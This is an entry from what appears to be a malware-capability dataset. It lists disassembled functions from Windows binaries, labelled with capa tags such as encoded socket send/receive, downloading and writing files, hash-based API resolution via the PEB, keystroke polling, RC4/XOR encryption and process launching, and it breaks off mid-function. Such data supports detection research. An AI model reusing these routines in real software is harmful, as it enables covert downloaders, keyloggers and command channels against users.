joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e14
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403e91
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403e3b
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403e2f
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.004057ff
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x419074
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00408bc0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403e94
cmp eax, dword [ebp - 4]
jne 0x403e94
mov dword [ebp - 8], 1
jmp 0x403e94
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403e9f
push ebx
call fcn.00405bca
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x404038
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x404076
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x404194
cmp edi, ebx
je 0x404194
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00408000
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404194
cmp eax, ebx
je 0x404194
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.004057ff
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x40417f
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x40415d
test eax, eax
je 0x40415d
add ebx, eax
cmp edi, ebx
jg 0x4040e5
push 5
pop ecx
cmp ebx, ecx
jl 0x40417f
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x419074
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40417f
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x40413d
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x404137
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x404165
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00408bc0
mov dword [esi], ebx
jmp 0x404172
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40417f
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00408bc0
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x404194
push dword [ebp - 0x860]
call fcn.00405bca
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044de
add ebp, 0x70
leave
ret
Function at 0x4041ac
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.00408000
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.004044ed
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x4041fd
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x41aa40
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x404223
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.004051ac
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.00408000
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.00408000
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.00408000
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.00403bff
pop ecx
test eax, eax
je 0x4043b2
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.00403ce8
add esp, 0xc
test eax, eax
je 0x4043b2
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403ea5
pop ecx
pop ecx
test eax, eax
je 0x4043b2
cmp word [ebp - 0xe14], si
jne 0x4043b2
cmp dword [ebp - 0xe24], 0
je 0x4043b2
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x4043b2
push 0x41ac40
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.0040455c
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x414fa0
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.0040483f
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x4043a8
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.004043f1
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x4043c7
push dword [ebp - 0xe1c]
call fcn.00405276
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x4043dc
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004044de
leave
ret
Function at 0x4043f1
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.0040ec30
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x404437
xor eax, eax
jmp 0x40447f
cmp dword [ebp - 0x78], ebx
jbe 0x40446e
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x40446e
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00404da4
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x40443c
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00404bc6
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004044de
add ebp, 0xf90
leave
ret

Function at 0x4044de
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41804c]
jne 0x4044e8
repz ret
jmp fcn.00405e68
Function at 0x40f03f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409c84
and dword [ebp - 4], 0
cmp dword [0x419bac], 0
mov ebx, eax
jne 0x40f0f0
push 0x413b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f1a1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x413b84
push edi
call esi
test eax, eax
je 0x40f1a1
push eax
call fcn.00409c12
mov dword [esp], 0x413b74
push edi
mov dword [0x419bac], eax
call esi
push eax
call fcn.00409c12
mov dword [esp], 0x413b60
push edi
mov dword [0x419bb0], eax
call esi
push eax
call fcn.00409c12
mov dword [esp], 0x413b44
push edi
mov dword [0x419bb4], eax
call esi
push eax
call fcn.00409c12
pop ecx
mov dword [0x419bbc], eax
test eax, eax
je 0x40f0f0
push 0x413b2c
push edi
call esi
push eax
call fcn.00409c12
pop ecx
mov dword [0x419bb8], eax
mov eax, dword [0x419bb8]
cmp eax, ebx
je 0x40f148
cmp dword [0x419bbc], ebx
je 0x40f148
push eax
call fcn.00409c8d
push dword [0x419bbc]
mov esi, eax
call fcn.00409c8d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f148
test edi, edi
je 0x40f148
call esi
test eax, eax
je 0x40f13f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f13f
test byte [ebp - 0xc], 1
jne 0x40f148
or dword [ebp + 0x10], 0x200000
jmp 0x40f181
mov eax, dword [0x419bb0]
cmp eax, ebx
je 0x40f181
push eax
call fcn.00409c8d
pop ecx
test eax, eax
je 0x40f181
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f181
mov eax, dword [0x419bb4]
cmp eax, ebx
je 0x40f181
push eax
call fcn.00409c8d
pop ecx
test eax, eax
je 0x40f181
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x419bac]
call fcn.00409c8d
pop ecx
test eax, eax
je 0x40f1a1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f1a3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41a374
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x41a395
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x41a38c
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x41a384
mov eax, ebx
leave
ret

Function at 0x41a3bb
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0xc]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 8]
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 8]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 8]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x41a41a
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x41a447
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x41a436
xor ecx, eax
xor edx, ebx
dec edi
jne 0x41a427
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x41a46d
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x41a40e
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 8]
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 8
Function at 0x41acad
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword ds:[ebp - 0x20], 0xff8bff8b
mov dword ds:[ebp - 0x14], 0xff8bff8b
mov dword ds:[ebp - 0x1c], 0xff8bff8b
push 0x7fc
push dword [ebp - 0x20]
call fcn.0041a33a
push eax
push dword [ebp - 0x20]
lea eax, [ebp - 4]
mov ebx, eax
pop ecx
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x41ae8c
push dword [ebp - 4]
call fcn.0041a31e
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x41ad7d
jmp 0x41ae8c
push dword [ebp - 4]
call fcn.0041a31e
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp dword [ebp - 4], eax
jne 0x41add1
lea eax, [ebp - 4]
push eax
call fcn.0041ac93
mov dword [ebp - 0x28], eax
push 0
push 4
push dword [ebp - 0x28]
push dword [ebp - 4]
push 0xffffffff
push dword [ebp - 0x14]
call fcn.0041a545
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x41add1
mov eax, 1
jmp 0x41add3
xor eax, eax
test eax, eax
je 0x41ae81
push ebx
push esi
push edx
mov ebx, dword [ebp + 8]
lea eax, [ebx + 0x3c]
mov eax, dword [eax]
add eax, ebx
lea eax, [eax + 0x78]
mov eax, dword [eax]
lea esi, [eax + ebx]
mov dword [ebp - 0x10], esi
lea edx, [esi + 0x20]
mov edx, dword [edx]
add edx, ebx
mov edx, dword [edx]
add edx, ebx
mov dword [ebp - 0x18], edx
lea eax, [esi + 0x18]
mov eax, dword [eax]
dec eax
mov dword [ebp - 4], eax
pop ebx
pop esi
pop edx
push dword [ebp - 4]
lea eax, [ebp - 4]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x41ae79
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [ebp - 0x1c]
call fcn.0041aab0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x41ae68
push edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
lea eax, [eax + 0x1c]
mov eax, dword [eax]
add eax, dword [ebp + 8]
lea eax, [eax + edi*4]
mov eax, dword [eax]
add eax, dword [ebp + 8]
pop edi
leave
ret 8
push dword [ebp - 0xc]
call fcn.0041ac6c
add dword [ebp - 8], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x41ae1b
add esp, 0xc
jmp 0x41ae8c
pop ebx
pop ecx
pop edx
add ecx, 4
jmp 0x41ad56
add esp, 0xc
mov edi, edi
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, 0
jmp 0x41aead
mov esp, ebp
pop ebp
ret 8
Function at 0x42d960
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49868b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048cd69
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42d9e2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048abe0
mov eax, dword [eax]
push 0x4ed214
push eax
call fcn.0047d744
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048cff4
test bl, bl
je 0x42d9e2
push 0x4ed214
lea ecx, [esp + 0xc]
call fcn.0048d384
push 0x4f0d94
lea ecx, [esp + 0xc]
call fcn.0048d384
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42da1e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048cff4
jmp 0x42dae9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42daa2
lea edx, [esp + 0x7c]
push 0x4f0d90
push edx
call fcn.0047d744
add esp, 8
test eax, eax
je 0x42daa2
lea eax, [esp + 0x7c]
push 0x4f0d8c
push eax
call fcn.0047d744
add esp, 8
test eax, eax
je 0x42daa2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42da32
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048cff4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42e2e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42e342
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x42e350
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49870b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4f9e3c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x42e488
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x42e3b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048cff4
xor eax, eax
jmp 0x42e4ff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048d131
push esi
lea ecx, [esp + 0xc]
call fcn.0048d3c0
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4f0dcc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42e4dd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0042e2e0
test eax, eax
jne 0x42e4dd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0042e2e0
test eax, eax
jne 0x42e4dd
lea eax, [esp + 0x14]
push 0x4f0da8
push eax
call fcn.0047e8e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42e4bc
lea ecx, [esp + 0x14]
push 0x4f0da4
push ecx
call fcn.0047e860
mov esi, eax
add esp, 8
test esi, esi
jne 0x42e4bc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42e4bf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048d0e1
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42e3ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048cff4
xor eax, eax
jmp 0x42e4ff
mov byte [esi], 0
push 0x4f0da0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048cff4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x442460
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4424ce
cmp si, 0x69
ja 0x4424ce
add esi, 0xffd0
cmp si, 0x11
je 0x44249e
push 0x11
call edi
test ax, ax
jge 0x44249e
or esi, 0x2000
cmp si, 0x10
je 0x4424b3
push 0x10
call edi
test ax, ax
jge 0x4424b3
or esi, 0x4000
cmp si, 0x12
je 0x4424c8
push 0x12
call edi
test ax, ax
jge 0x4424c8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4424db
mov esi, 0xbd
jmp 0x44248f
cmp si, 0x6e
jne 0x4424e8
mov esi, 0xbe
jmp 0x44248f
cmp si, 0x6f
jne 0x442489
mov esi, 0xbf
jmp 0x44248f

Function at 0x443c10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x50a5b8]
xor edx, edx
cmp eax, edx
jne 0x443c36
xor eax, eax
mov byte [eax + 0x50a4b8], al
inc eax
cmp eax, 0x100
jl 0x443c1e
mov dword [0x50a5b8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x50a4b8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x443cc7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x443c9a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x443c68
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x443d40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x443d93
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x443d7a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44a7d0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x44a968
cmp ebp, ebx
jle 0x44a968
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x44a82e
dec eax
or eax, 0xfffffff8
inc eax
je 0x44a835
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x44a844
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x44a84b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0048cd35
add esp, 4
cmp eax, ebx
je 0x44a86c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0048cd35
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x44a95e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x44a945
mov al, byte [edx]
cmp al, 0xc0
jbe 0x44a931
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x44a926
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
